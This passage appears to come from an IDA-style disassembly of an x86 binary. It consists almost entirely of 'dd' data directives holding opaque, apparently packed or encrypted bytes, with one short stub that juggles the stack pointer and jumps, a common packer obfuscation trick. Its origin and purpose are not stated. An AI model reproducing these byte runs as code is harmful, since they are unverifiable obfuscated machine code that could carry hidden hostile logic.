		dd 23F8E1F6h, 64361F34h, 0DF7E5E73h, 0AB716399h, 21CF69CBh
		dd 0EE0314C7h, 2D425505h, 9628EF28h, 0F43EFF76h, 6934556Eh
		dd 0AB9E849Ch, 9DB5A272h, 0ED3318BAh, 0D35970B7h, 7002387Eh
		dd 108D359h, 602B4C53h,	0F2433E3h, 3724F065h, 2B3C0E2h
		dd 3C18DB7Bh, 9BCC3424h, 0CBD2DB06h, 0F8D38300h, 69B7CB2h
		dd 936B76DBh, 0E86A8733h, 0FD12333Ah, 3BC4214h,	1C5298A4h
		dd 22DB0732h, 0FAFC611Bh, 0E7713C5Dh, 0EACE1023h, 76415606h
		dd 6D385FF9h, 5B2A2DF0h, 0BC6443AEh, 17C756C1h,	5002EB00h
		dd 75215A47h, 0B2CA9762h, 958258D5h, 9CBE4FCAh,	19289F60h
		dd 47627A8Bh, 23F831DCh, 849C6934h, 0D1E6F1A1h,	0A77136E8h
		dd 183FDFB0h, 725F804Dh, 0AF7A9D39h, 15EDCAE2h,	0Ch, 0B0A21C3Eh
		dd 0E32AD6Ah, 3EDC10F6h, 360116C7h, 33FE19B9h, 2BF6E1B6h
		dd 21ECEBAEh, 1BE6F1A4h, 0DD8FF9Eh, 2CDCA90h, 0F9C4D385h
		dd 0F4BFD87Ch, 7F96683Ch, 2C890000h, 0E1895124h, 4C181h
		dd 0E9810000h, 4, 5C240C87h, 52240489h,	0C281E289h, 4
		dd 4EA81h, 14870000h, 14895C24h, 19B95124h, 813E0436h
		dd 2E2B03F1h, 0D1E18138h, 557C2763h, 740B24BDh,	5DE929FCh
		dd 5459C889h, 8324148Bh, 815004C4h, 73DE2404h, 428F439Dh
		dd 8BBB5308h, 8133B26Dh, 0E5BE4CBh, 8F3812Dh, 0F714A51Bh
		dd 3EE381DBh, 814F1E00h, 0EF0B54F3h, 92F38154h,	29537678h
		dd 0FF5B085Ah, 835A2434h, 48B04C4h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58941B
; ---------------------------------------------------------------------------
		dw 0F899h
		dd 679D0B55h, 0CF8CAD11h, 0AE0070B8h, 0FFC50307h, 90D37E0h
		dd 110E707Ch, 9EE56C69h, 0E1D02D6Eh, 8F67C70Eh,	0FDF4DA7Eh
		dd 24EB6Dh, 8 dup(0)
		dd 0E9000000h, 0BDh, 14AB589h, 858B07AEh, 7A806A5h, 1C89858Bh
		dd 0B58D07A8h, 7AE0194h, 4AF6858Dh, 0D0FF07ABh,	0E855C3h
		dd 5D000000h, 19AED81h,	0BD8307AEh, 7A806A5h, 2C850F01h
		dd 0FF000000h, 0AE014AB5h, 89858B07h, 3507A81Ch, 34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 4EB58D1Ch, 5607AE01h, 14AB5FFh, 858B07AEh
		dd 7A81C89h, 81273635h,	83D0FF34h, 0B58D0CC4h, 7AE014Eh
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
		dd 1B80000h, 83000000h,	0A806A5BDh, 850F0107h, 7, 2E9C35Dh
		dd 5D000000h, 73858DCFh, 8907AE01h, 0A808C985h,	148D8D07h
		dd 6A07AE03h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0AD1AC356h, 650C7587h,	0CE89A0Dh
		dd 1D000000h, 344BAFCAh, 18D14FD3h, 894DE6C4h, 0A81B618Dh
		dd 0EB805F07h, 318D89CAh, 8A07A817h, 5985C7E3h,	0A807A80Ah
		dd 6A00006Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0E949C352h, 13h, 16396EABh, 4C049919h
		dd 0D2E2F1EDh, 50777C2Bh, 0C7EE4810h, 0A8093985h, 7, 41952900h
		dd 0FF07A834h, 0A82641B5h, 0F5B58B07h, 0FF07A81Ch, 0A81A9995h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0C301DB49h, 2CBD958Bh, 6A07A8h, 0D2195FFh
		dd 0C08B07A8h, 0FC5E19EBh, 0A59C2DEBh, 31CA7726h, 9C24848Fh
		dd 4FF5A9F2h, 701C03E3h, 0E8B3295Bh, 0Fh, 1E008CD0h, 4E49E0A7h
		dd 0CFF130E3h, 8B217CDDh, 0A82E3995h, 14B25E07h, 5BE3C681h
		dd 0F3810000h, 5D14ED31h, 16DC68h, 58D68B00h, 0DFC38166h
		dd 0B93E8BF3h, 7B280B68h, 30F1C781h, 81F9679Dh,	198BE7EFh
		dd 81D58A02h, 2BAC22C7h, 0D18B6674h, 0EFF58057h, 0BB66068Fh
		dd 0EE833133h, 77CD8004h, 0F01E883h, 0FFFFC885h, 840F52FFh
		dd 6, 820Fh, 8D5B0000h,	0AE04BC8Dh, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0A06A5193h
		dd 7AB1608Ah, 0B959D03h, 896107A8h, 0A817318Dh,	53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 81F8F8C6h, 0EB2A71EFh, 5985C741h, 0D407A80Ah, 6A00006Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0B2A6C350h, 54DC9593h, 3985C726h,	7A809h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0FA71C351h, 0BDB5FFFCh, 6A07A814h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 1A90C357h, 81665E58h, 0CA819CF2h,	5E8FC115h
		dd 1A9995FFh, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 8F9BC7C3h, 349BD29h, 6A07A8h, 0D2195FFh
		dd 0C08B07A8h, 14D74FEBh, 1D5EB118h, 0F80B2A8Bh, 77D4F147h
		dd 53D2BA18h, 0A089139Ch, 8B99D673h, 0FB5941D6h, 0BA142982h
		dd 8CA7AA96h, 48C203C9h, 0CB0BFB50h, 95C9A671h,	2960B08Ah
		dd 3EEBD71Ah, 1E35782Bh, 0B0A9C742h, 0D327FE49h, 7E01DC50h
		dd 27D1C4D9h, 8E88Ch, 6DB60000h, 12C53CD2h, 0B589A5CEh
		dd 7A8333Dh, 8FC2815Ah,	81000072h, 0B27D05CEh, 6860h, 0BE590000h
		dd 4E373C71h, 801134FFh, 815FBFD7h, 0A36B18F7h,	2D9D0B7Bh
		dd 8107A822h, 63EA6BF7h, 0BB666007h, 0B58973EFh, 7A805D1h
		dd 0EBF78161h, 2946D271h, 0A82151B5h, 81665707h, 8FDC36E8h
		dd 66F80A04h, 0B411EE81h, 6601E983h, 496766BEh,	0C3814949h
		dd 3C09AD71h, 8DF4F981h, 850FFFFFh, 0FFFFFFA4h,	5ADE8166h
		dd 19E952h, 67E40000h, 6FCEh, 253h, 3 dup(0)
		dd 0E9000000h, 0C4Eh, 0AE076768h, 4413E907h, 7168FFFBh
		dd 0E907AE08h, 0FFFB4409h, 0AE0A1468h, 43FFE907h, 0FE68FFFBh
		dd 0E907AE0Ah, 0FFFB43F5h, 0AE0BBD68h, 43EBE907h, 8B68FFFBh
		dd 0E907AE0Dh, 0FFFB43E1h, 0AE0E4468h, 43D7E907h, 9968FFFBh
		dd 0E907AE0Fh, 0FFFB43CDh, 0AE10A168h, 43C3E907h, 0DBCFFFBh
		dd 5991E4F3h, 756BBECDh, 9A479AA9h, 0A01E7180h,	0DD064756h
		dd 8D9C6664h, 6574823Ah, 3E4DDB12h, 1928F2EBh, 0F93FCDDh
		dd 9B7A1348h, 0E4D55900h, 5A932012h, 548CA3D0h,	0AD64A9CAh
		dd 408BB8F3h, 7466B029h, 950283A4h, 0FF7A0D6Ah,	0B5CC8D7Fh
		dd 72FFF105h, 0E9B9AB75h, 930B8CADh, 156ABD1Ah,	0B2E2AFFBh
		dd 0BEE6D060h, 4Ah, 742F7177h, 0F93FC47h, 9B726542h, 225E835Bh
		dd 70AC5647h, 0C0B24477h, 216CCFF0h, 5C8AD10Ah,	0C49486C2h
		dd 338122A3h, 0AB2B7A0Eh, 0D8CA337Eh, 0D26ABE27h, 2A093152h
		dd 6ABE2774h, 1801A34h,	0E6CF56D1h, 0D8DDh, 0E4D59600h
		dd 485F2012h, 0C4948690h, 6C9FCFC8h, 4465B1FEh,	5B4DA915h
		dd 190B1DCEh, 0BAC9538Ch, 65DF5615h, 4AB9D372h,	24F2EA9Fh
		dd 9B666232h, 0B0DF000Ah, 8BDEED3Fh, 0E5D6C852h, 0A9C3F0BBh
		dd 5A7CE7D5h, 3598B90Eh, 0D9B57CCh, 0C6D5557Ah,	0ED1A910Fh
		dd 0EEC547D3h, 0E505F966h, 1B1584A3h, 0B2153672h, 0EFB31C67h
		dd 0BB6ABD69h, 28991A3Bh, 0C0726819h, 0CEFC1340h, 9BC72943h
		dd 0DCC07F66h, 12CB1191h, 0DD199963h, 0B34F7BCEh, 0BA40FA9Dh
		dd 3611A92Dh, 0A14h, 96A5736Eh,	707F8B43h, 4C5BAB1Dh, 2332CCF9h
		dd 0F90812D0h, 0D4122BB8h, 0F4E83B4Ah, 0DC01322h, 2099ECFBh
		dd 0AA8BC7D6h, 13496141h, 7AE497Ah, 0B31CE9D5h,	726542EFh
		dd 0F0FF3BBBh, 0CBDA2C9Dh, 742F7194h, 48C5DE47h, 67E77A0Dh
		dd 3C089675h, 23A06ABDh, 3C336FD8h, 3A776ABDh, 0B3837583h
		dd 44565677h, 0D0420D3Dh, 0EF19E6h, 6B820000h, 0E6B6A872h
		dd 5941BAEAh, 17382ED9h, 55E4D504h, 0CF9F9165h,	0D614A193h
		dd 4E995A4Ch, 6542BDE5h, 3171DA72h, 79726542h, 3E5FDFF9h
		dd 6547AEBDh, 0C7307B72h, 72653EDBh, 0FF2E4FCFh, 0DA2D3CCEh
		dd 342517E1h, 1DAE756Ch, 0F8B1994Bh, 0DB448FBCh, 7264DAC7h
		dd 0DF4263E3h, 0CFFAD76h, 707FFF7Ah, 0DD63CFE9h, 0BE3270D9h
		dd 0F8786ABCh, 0D65134FCh, 0B7D814E2h, 0F8257C24h, 0D42296ADh
		dd 70F112E2h, 7266F740h, 0C2D90686h, 98EBFA04h,	59BAD02Ah
		dd 0BC2DBB92h, 90A4924h, 65640000h, 81398C9Bh, 0DD136675h
		dd 0F2EF4251h, 18C61928h, 35AEEFFEh, 3544DE0Ch,	0D1CEAE2h
		dd 0E6F503BAh, 0C1D05A93h, 673BA485h, 437A134Ah, 0E9D501A8h
		dd 988A9C50h, 2A7D8CC8h, 58F5A7B1h, 89452A94h, 9DB73E4Dh
		dd 0BA34E694h, 0B2AE7E70h, 264745E8h, 3F56A113h, 0BB8B7D89h
		dd 65423270h, 0A6FC6572h, 4726542h, 0C9EA6A84h,	0E5D7219Ah
		dd 86956758h, 0ADDAD1CFh, 0D42A344h, 1F11917Ah,	0C0CF5992h
		dd 0B8AA7C6Dh, 5FEEE0F7h, 0D9A99B6Fh, 0BADBAB9Dh, 3658639h
		dd 0BF0BA3F2h, 5564B627h, 0F501B7CEh, 0E234A5D4h, 1F2A9EB5h
		dd 2B1D59ADh, 51123A5Bh, 9FB5833Ah, 0C21D4607h,	9C1D3E7Ah
		dd 0E3764A03h, 0BB0B9F95h, 96E9F802h, 52A41625h, 62549060h
		dd 764A1883h, 0E234A5E3h, 9F6B63F0h, 0ADFDF3ADh, 1854A219h
		dd 0B6FCCE20h, 0E8DA2C9Fh, 17C8F718h, 0BC1D805h, 1A4CFFFBh
		dd 84411DF1h, 12CB1E63h, 90C49E4Bh, 76FF3726h, 6030225Eh
		dd 0EDE0F724h, 8FD0F25Bh, 0B4F03789h, 267A6B93h, 84374E7Bh
		dd 0C6DC4572h, 0E4E3764Ch, 77E04364h, 0EB1E53C4h, 0D2899818h
		dd 3DA6D3CEh, 0E3764B06h, 0EE3966E6h, 263D1D85h, 98508DD4h
		dd 931528Eh, 263D752Ah,	8F1B35D4h, 673CD202h, 4A3DE7Dh
		dd 83970000h, 7265421Fh, 6552445Ah, 36592D72h, 0B6E87265h
		dd 0A972652Eh, 29FDEFF7h, 0FE2B6737h, 2E584AB3h, 0E1527265h
		dd 652E2A78h, 0C4008072h, 0F4D740A3h, 87A0D41h,	109B7288h
		dd 0D26A2540h, 767F7h, 0F806C100h, 0D22496E9h, 0AE7870C3h
		dd 859F4C9Fh, 5BA72376h, 67D80B4Ch, 3D909F7Bh, 1568778Fh
		dd 0EE4150A6h, 0E01C2BFDh, 4C0C96FFh, 39E7A13h,	12E4D55Ch
		dd 4B1DCEE5h, 79C1EF24h, 0AA9CD8F0h, 0A091B9DAh, 137CA900h
		dd 7A13B130h, 0A62D3CBCh, 9B23FC8Ch, 332CC6C5h,	525071BDh
		dd 5259478Eh, 0F6C0DA25h, 1C979541h, 8B7D8941h,	0DD5E7FBBh
		dd 725FF5DAh, 812D0E7h,	0D5254616h, 0FCE50255h,	0E9127125h
		dd 74BFECB7h, 7596605Dh, 56BE6BF4h, 8979B9BBh, 20F628E0h
		dd 66271955h, 97899D4Fh, 0B1DCEC7h, 0A24957EAh,	0A66991CAh
		dd 770F0B99h, 29C51623h, 50B9E622h, 0B3AE9E2Dh,	6F86B333h
		dd 27F3EF7Eh, 0E630A835h, 0D85F6EAAh, 71AACABEh, 0B92246AEh
		dd 0A45D45E9h, 0E40541C1h, 0DCF204B5h, 0ECEFCA1Bh, 7D5732CAh
		dd 0D7000006h, 0ACFF0EE8h, 86D9E832h, 62B5C452h, 398C9B65h
		dd 2162718Dh, 0B94581C2h, 916557AAh, 6ABC2F82h,	45D7085Bh
		dd 0B019FA36h, 7A134BF2h, 71761DB8h, 8CAB42Fh, 5FEE0269h
		dd 5A8DF623h, 0DA7A0E1Eh, 0E2DB685Ah, 25BD2618h, 0E8C3DD95h
		dd 1D9552BBh, 629F7266h, 54639F69h, 161CEFAFh, 1D208263h
		dd 60776316h, 17EFDD6Ch, 7927BADBh, 0A79C0532h,	326AC422h
		dd 17247EE7h, 2DA45B68h, 0CB33CA3Dh, 0D5F67690h, 85974885h
		dd 5A87C393h, 0DB703440h, 7495F730h, 8C386D4Ch,	1A655B67h
		dd 678CF1B1h, 12ECDA5Bh, 0F30FBBF8h, 881596B7h,	395B678Ch
		dd 0E5607680h, 44341583h, 5BED1ACh, 0A9180000h,	0FDED404Fh
		dd 11C71A29h, 26A3F605h, 4C7ACDDCh, 8162A3B2h, 0E9F802C0h
		dd 0C1D02696h, 9AA97F6Eh, 75849647h, 0B3EF5839h, 0F77A134Dh
		dd 2F71B55Ch, 65DE4774h, 877A1348h, 9541507h, 0B73D02A0h
		dd 4868A86Ah, 5E0BE710h, 0E6153672h, 8D1423F5h,	0D3C82E73h
		dd 2849FBECh, 0AA9C0795h, 0F19D2E9h, 0FC0EBFEEh, 0D7219AEDh
		dd 956758E5h, 8F9F5168h, 1B9466Eh, 427603F5h, 0BC5EC2B4h
		dd 796F95EEh, 0D2249521h, 0DE0B3BC3h, 0A417E6D6h, 0D0000001h
		dd 0C8568AA1h, 558C14A7h, 7399A7FCh, 719EDAA3h,	72936D5Ah
		dd 0FF95A60Fh, 0C7477A0Dh, 60C914D5h, 6ABDF042h, 46C7E868h
		dd 6ABDF05Ah, 2704A40h,	8492469Eh, 89B21B48h, 537265F8h
		dd 7871C4D3h, 0BE2FBCAEh, 0E990127Bh, 9A1A6315h, 0A01A315Eh
		dd 73946456h, 5290A72Eh, 0C1ECFC8h, 96294A1Ah, 9729F0Ah
		dd 6ABE118Eh, 0D3948606h, 0D6F701BCh, 6DC14955h, 97E25F5Bh
		dd 6DC1742Eh, 95B6365Bh, 4C7C0595h, 58F61FB9h, 30h, 742F7111h
		dd 48C5DE47h, 0BAD47A0Dh, 9B2E6A91h, 0E00400B2h, 1F98878Ch
		dd 484D4F5h, 7C6B3312h,	233D6ABCh, 1DA0A97h, 0D7E6E6D1h
		dd 9F000000h, 2012E4D5h, 8597485Fh, 6D893564h, 6EFDEE7Bh
		dd 796BA771h, 17536DB8h, 4630BE47h, 3D564C97h, 0D4547266h
		dd 0C14B84B3h, 425E0DB2h, 0CEFF7266h, 2A762D3Ch, 8E3B527Fh
		dd 0C4DE4774h, 0E6726638h, 97E24566h, 0CABC4E80h, 897B8B3Dh
		dd 0DB5C7DB9h, 7A10E653h, 98692F6Fh, 1526B610h,	2995ACD9h
		dd 598FDE10h, 0CF0BDBCDh, 0A4D10DDDh, 0A8C95D8Dh, 48D21063h
		dd 41FAB932h, 99740C25h, 3F0h, 72819F4Ah, 4C5BAF1Fh, 2837C7F9h
		dd 0FF0EE8D5h, 0D5E43EACh, 0F0EE4F94h, 8C41726h, 219CEFFEh
		dd 4475C8D7h, 8667A3B2h, 134F851Dh
		dd 0E38A257Ah, 0FE0DE9D5h, 8EF732ABh, 72654214h, 0DBF501B7h
		dd 0E9DB2D9Eh, 74A1DD19h, 42E2C029h, 48C87265h,	6C8D994Fh
		dd 0E4D5F027h, 5A932012h, 422C76DFh, 0FE7E7265h, 837CB3C2h
		dd 7265C21Bh, 0E2C02974h, 0E97264C2h, 8D0D27F7h, 0C2B3EB6Ch
		dd 0F4AC7264h, 0CA6680ADh, 2E7D7186h, 0F760C3E4h, 7A125B4Ch
		dd 3D2E20A0h, 0C35F8B63h, 98C501D1h, 999024Dh, 0A16AB650h
		dd 7F0021h, 64725E85h, 1007CEE4h, 69E2DBFh, 3372Bh, 0C8569100h
		dd 0A27466B9h, 7E884093h, 55AF1C6Fh, 2BF7F346h,	3708DB1Ch
		dd 0D606F8Bh, 0E53847DFh, 0BE1120F6h, 0B0ECFB0Dh, 503C66CFh
		dd 0D36E7A13h, 21E4D52Ch, 6542EAB8h, 1340C072h,	6541F8AAh
		dd 0F632B272h, 0CCC5AFC9h, 5E4EF964h, 3A54153Dh, 0F524A77Fh
		dd 0AE5652C0h, 72384DB5h, 9C4D7C9Dh, 0DCC47B8Ah, 0E44D98C5h
		dd 726599BEh, 0D63F6CECh, 726599CCh, 0DA3D5EDEh, 0DC12671h
		dd 8B445B7Ah, 0D1FF8F81h, 0DDD178E2h, 81D1F22Eh, 0D8273941h
		dd 2E970223h, 6ABE1A74h, 3E7AB636h, 32CCFA11h, 940AE911h
		dd 146ABE1Ah, 0B1E1A0FAh, 0BDE6CF60h, 3Ah, 742F7176h, 48C5DE47h
		dd 67E77A0Dh, 609AB475h, 65D3FF43h, 9E71417Ah, 0FF8DA0A2h
		dd 0FE415DDEh, 4D676ABCh, 8004347Dh, 0AC10E6D0h, 79000000h
		dd 0ADDC52Eh, 4DCD6ABDh, 0E4D5192Ch, 57932012h,	934CD9CBh
		dd 160812CCh, 8B180A46h, 14B9C852h, 72654757h, 3443D506h
		dd 2C1EE8E1h, 113E653Bh, 0D4BC3A8h, 9F4F667Ah, 9A1A6A8Bh
		dd 0D5CCD48Bh, 95465DA8h, 47E16283h, 6F7267DFh,	6077C2EFh
		dd 4E7D9E68h, 24778690h, 0D92D9FA6h, 954857E7h,	0D6596FE5h
		dd 2F485E9Ah, 0E2DBABAh, 1E29B76h, 8D3C0000h, 0D9116473h
		dd 0F5EB3E4Dh, 1AC71A29h, 209EF100h, 5D86C7D6h,	0D1CE6E4h
		dd 0E5F402BAh, 0BECD5B92h, 99A8726Bh, 8F137C5Dh, 1B7A1351h
		dd 0E9D5D980h, 32ABFE0Dh, 71A2D9E8h, 0F501B72Fh, 27418CB9h
		dd 904BADA1h, 363F8A86h, 0A10283A4h, 0B7A0D53h,	0E4BA998Bh
		dd 0DF6ABD47h, 9C6E5FEEh, 0E4E16E60h, 2F9B281Ah, 1911E1D3h
		dd 8CA0F3C7h, 29595872h, 35E6D037h, 0D1h, 12E4D5EEh, 0AB145F20h
		dd 726541F7h, 1A0C16D4h, 0B7B0304Ah, 9FCEEF0Bh,	257DE623h
		dd 0A6726542h, 1DEDDF39h, 55478303h, 6546F576h,	0B4776872h
		dd 653D574Bh, 97D35372h, 72843588h, 9A118F80h, 0D00B226Dh
		dd 88845446h, 71D82533h, 2CADCE21h, 7A0D093Fh, 5E50D0EAh
		dd 77F812EFh, 0BA891B7Bh, 0C3E48C7Fh, 9990273h,	0A16ABCFFh
		dd 1FD6E521h, 94FD2A81h, 7267AC35h, 0FF1643C3h,	0D52837C3h
		dd 0D4F70DE9h, 0B32DBAC5h, 0DA401Bh, 0B5340000h, 0D1095C6Bh
		dd 0EDE33645h, 2BF1221h, 2896E9F8h, 657EBFCEh, 514EEDCh
		dd 0DDEC3AB2h, 0B6C5538Ah, 91A06A63h, 970B7455h, 137A1352h
		dd 0E9D5D178h, 32ABFE0Dh, 770BBE8h, 7265429Bh, 296E8F0Fh
		dd 12E4D5F2h, 0B1DCEE5h, 284919h, 63B5283Fh, 50DA1342h
		dd 336FD823h, 77726542h, 8375833Ah, 0BC7B77B3h,	0F2AC5949h
		dd 0F4ABF011h, 5FC8F5ACh, 7A13A6E0h, 0D1928404h, 0AA0203B7h
		dd 3F609003h, 3E4DDF10h, 1DAC9DB7h, 3C2AD549h, 29F3EC1Bh
		dd 0E6B85837h, 7B13D317h, 0D426972Fh, 0AF7972C5h, 0E9706B82h
		dd 0F8EA26F0h, 0FBD4CE37h, 56D60256h, 44D1F91Ah, 36507D87h
		dd 49E91642h, 5F87A85Ch, 754159FBh, 50A3B244h, 0C09B8D9Fh
		dd 8, 0D05E92A9h, 62E59CAFh, 1A0CEAD5h,	0D8CA5C8Dh, 9486904Bh
		dd 4F41D507h, 8FA04C2h,	0C1B34F7Bh, 7B6DB734h, 3A2CFAEEh
		dd 0F7E93DADh, 35746879h, 0C890000h, 81E18924h,	4C1h, 4E98300h
		dd 5C240C87h, 428068h, 242C8900h, 633468h, 241C8900h, 0AE061968h
		dd 242C8B07h, 4C481h, 8B540000h, 0C481241Ch, 4,	218068h
		dd 242C8900h, 0FF08438Fh, 815B2434h, 4C4h, 2434FF00h, 4C4815Dh
		dd 0E9000000h, 0FFFB37D9h, 7C69D2E8h, 86A3CB0Dh, 0A0B8520Fh
		dd 307AE11h, 0F9E0FFC5h, 0A9298BF5h, 0C22DA82Dh, 0E61FA956h
		dd 0A332F7D9h, 0F3282188h, 394DABB1h, 0A12E900Bh, 770C35E5h
		dd 0DF20550Bh, 0D7F6BE1h, 0FC77047Bh, 0A05D47BCh, 2C153B0Dh
		dd 155DBD35h, 4E326728h, 0F7415916h, 0B3789394h, 7406800Dh
		dd 12132406h, 47529E07h, 8B233068h, 0F4096825h,	0C533390Eh
		dd 1A365750h, 7B1BBE72h, 0C71B863Ch, 80D790Dh, 446ED26h
		dd 8D217C55h, 0F41A1448h, 972E0134h, 0E9115202h, 0C0h
		dd 0E51B99h, 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h
		dd 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h
		dd 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah,	99BD329Fh
		dd 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h
		dd 7B6B5C00h, 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h
		dd 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h,	0BFCF60FDh
		dd 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h,	9DBCE3B2h
		dd 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh
		dd 0D00097B3h, 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h
		dd 5E99E0h, 2 dup(0)
		dd 158CE9h, 154A6800h, 48E907AEh, 68FFFA6Ch, 7AE162Dh
		dd 0FA6C3EE9h, 175068FFh, 34E907AEh, 68FFFA6Ch,	7AE18A7h
		dd 0FA6C2AE9h, 193E68FFh, 20E907AEh, 68FFFA6Ch,	7AE19F6h
		dd 0FA6C16E9h, 1AAD68FFh, 0CE907AEh, 68FFFA6Ch,	7AE1B6Eh
		dd 0FA6C02E9h, 1C1E68FFh, 0F8E907AEh, 68FFFA6Bh, 7AE1D2Ch
		dd 0FA6BEEE9h, 1E5868FFh, 0E4E907AEh, 68FFFA6Bh, 7AE1F9Fh
		dd 0FA6BDAE9h, 20D168FFh, 0D0E907AEh, 68FFFA6Bh, 7AE21F9h
		dd 0FA6BC6E9h, 233268FFh, 0BCE907AEh, 68FFFA6Bh, 7AE251Ah
		dd 0FA6BB2E9h, 263D68FFh, 0A8E907AEh, 0BDFFFA6Bh, 0FDE6FB1Ch
		dd 3A23385Fh, 7B64799Eh, 0BAA3B8DFh, 0D9E7FC1Bh, 0F1E6B5F0h
		dd 3324F3DCh, 7760351Eh, 0BED97962h, 0E42AC9A9h, 0CBAB5CAEh
		dd 0AB6C1AB4h, 0E6B7A072h, 8B582334h, 0C9CE9073h, 0E6F1A3DCh
		dd 0A274F1CEh, 61F6A0B5h, 3A73C8B5h, 0E3B07B9Ch, 989ADBCBh
		dd 99A0DB01h, 980A44CEh, 0C25DB01h, 25BDF5A1h, 4184E3F0h
		dd 82000000h, 47151106h, 20422F50h, 71CF9307h, 5701D279h
		dd 90A87540h, 55033C91h, 92AA7742h, 10E6DA2h, 571234DBh
		dd 43661FF7h, 0E8EFAFC7h, 0D259931Dh, 5B74DB00h, 9F0E44F0h
		dd 0CDD3E3F0h, 0D1000000h, 350017C7h, 27F2E5B8h, 24EFE8AAh
		dd 812B698Bh, 3D9FDCF3h, 87904225h, 332C7C72h, 4F0FD359h
		dd 884A3348h, 0D62BC48Fh, 12DDFA9Dh, 33316745h,	3037D359h
		dd 83E37418h, 2EFBC6D1h, 85CB200Dh, 0D359334Fh,	0D5944E55h
		dd 94889DF7h, 8CD2D1E9h, 0DB0148D7h, 17C1D6DDh,	0A3E9D63Eh
		dd 0E2ABF88Ch, 499E8B92h, 844F4810h, 0F86FA5EBh, 6E75E2ABh
		dd 8352354Dh, 417A7F94h, 51B78295h, 65EA1122h, 8DA5C639h
		dd 0F4ECEBAAh, 0FC1BAB85h, 0F8D9B146h, 7D000012h, 0BDA6BBDCh
		dd 0FAE3F81Fh, 3B24395Eh, 7A63789Fh, 99A7BCDBh,	0B1A67530h
		dd 0F3E4B39Ch, 3720F5DEh, 7E993922h, 0A4EA8969h, 0CBAB5B6Eh
		dd 0C72CDA74h, 5EE0314h, 412D4255h, 0D8C51106h,	0C7DFF89Fh
		dd 764D82C8h, 0F214DB01h, 7B1B1E6Ah, 0AC4915Ch,	304877E7h
		dd 149E6970h, 0DB0206DAh, 0C671DCF5h, 0B2CACD8Dh, 0FF6BF8B2h
		dd 0BC41E3h, 0AB3F0000h, 0C34DFB89h, 72220371h,	0ACCD9A65h
		dd 46E1B194h, 35ACE896h, 16FFB574h, 3C5D2AF5h, 9D21F471h
		dd 8AC068F8h, 0FFCAEB85h, 59192575h, 415608D3h,	8493432Ch
		dd 98BF5E97h, 0F065A380h, 3CF13724h, 42DB013Fh,	9B7C263Bh
		dd 0A9CACD8Bh, 0EC4E76BCh, 4D54E2ABh, 0B5722760h, 5825F0E7h
		dd 0E7201F37h, 250E2334h, 0E4696176h, 0F1FC1B87h, 1215845Ch
		dd 0F99A0000h, 3CE0C9DEh, 7B1D061Bh, 0B85E475Ch, 0F2A18A9Fh
		dd 7C2D0E5h, 0C3D8FF9Eh, 3183FDAh, 455A7D1Ah, 889DBA5Ch
		dd 8DC309A8h, 93CBAB5Ah, 14C74BF9h, 0D3A50B6Ah,	4C6D460Ch
		dd 8B8C4E37h, 0A0B7659Eh, 0F0080FCFh, 17C7DDC9h, 0E6B83500h
		dd 25F3DCF1h, 0CE234532h, 4B249623h, 0F2E5B485h, 65425A27h
		dd 342136E8h, 32E66A12h, 0C4B17850h, 5907487Eh,	2F474ED3h
		dd 0DCEA1B08h, 70B4187h, 8CD2D359h, 0D3590756h,	7A7555Ch
		dd 0B149E581h, 0D9F1128Ah, 97442035h, 48A680E7h, 0A8C9B768h
		dd 33549A87h, 39DB014Ch, 0A2C0932h, 0DE99CAD1h,	37273F0Fh
		dd 0D28ACEFEh, 0F2DF3720h, 32D6D7ACh, 0BD6DDDAh, 47D15072h
		dd 565E8E99h, 0D08A6F29h, 425A68F9h, 705DB99Eh,	4A80C61Bh
		dd 50DA32F7h, 4FC587B0h, 56771216h, 182E4E3Eh, 7D34E1DEh
		dd 0AC99BADDh, 0E6B1A673h, 0AD020119h, 18DC1258h, 0DBE2E1DEh
		dd 374F480Ah, 80958254h, 0AAE0267Bh, 0B0E1DE18h, 0ECAE91A9h
		dd 5B98F3EBh, 0C459FDCDh, 10F2ECh, 0B1A67700h, 0F6E1B39Ch
		dd 3720F8E1h, 7A9D3922h, 0BED97C65h, 772E9BA9h,	0B59EB3A4h
		dd 0F7E0F5E2h, 37203522h, 7B5B7067h, 596096DCh,	0CC66CBABh
		dd 17C71Eh, 807A9C35h, 0A724851h, 3E17BBD3h, 0D6A3E9D6h
		dd 0DCDB00CBh, 0CB8DC309h, 8C93DB00h, 2F51566Bh, 1FD5135h
		dd 3AAC9ACh, 7765510Bh,	0D0AAEC6h, 38597E19h, 285C054Bh
		dd 5B62E2A9h, 28CC0690h, 0CEE7E2A9h, 49F3B763h,	4163EB18h
		dd 0D327025Fh, 1C345Bh,	3Dh, 5D5EC3E5h,	14697F26h, 0A8F898CEh
		dd 76979EE2h, 0F80D4389h, 0C13E2A8h, 11060EF4h,	0A592D8C5h
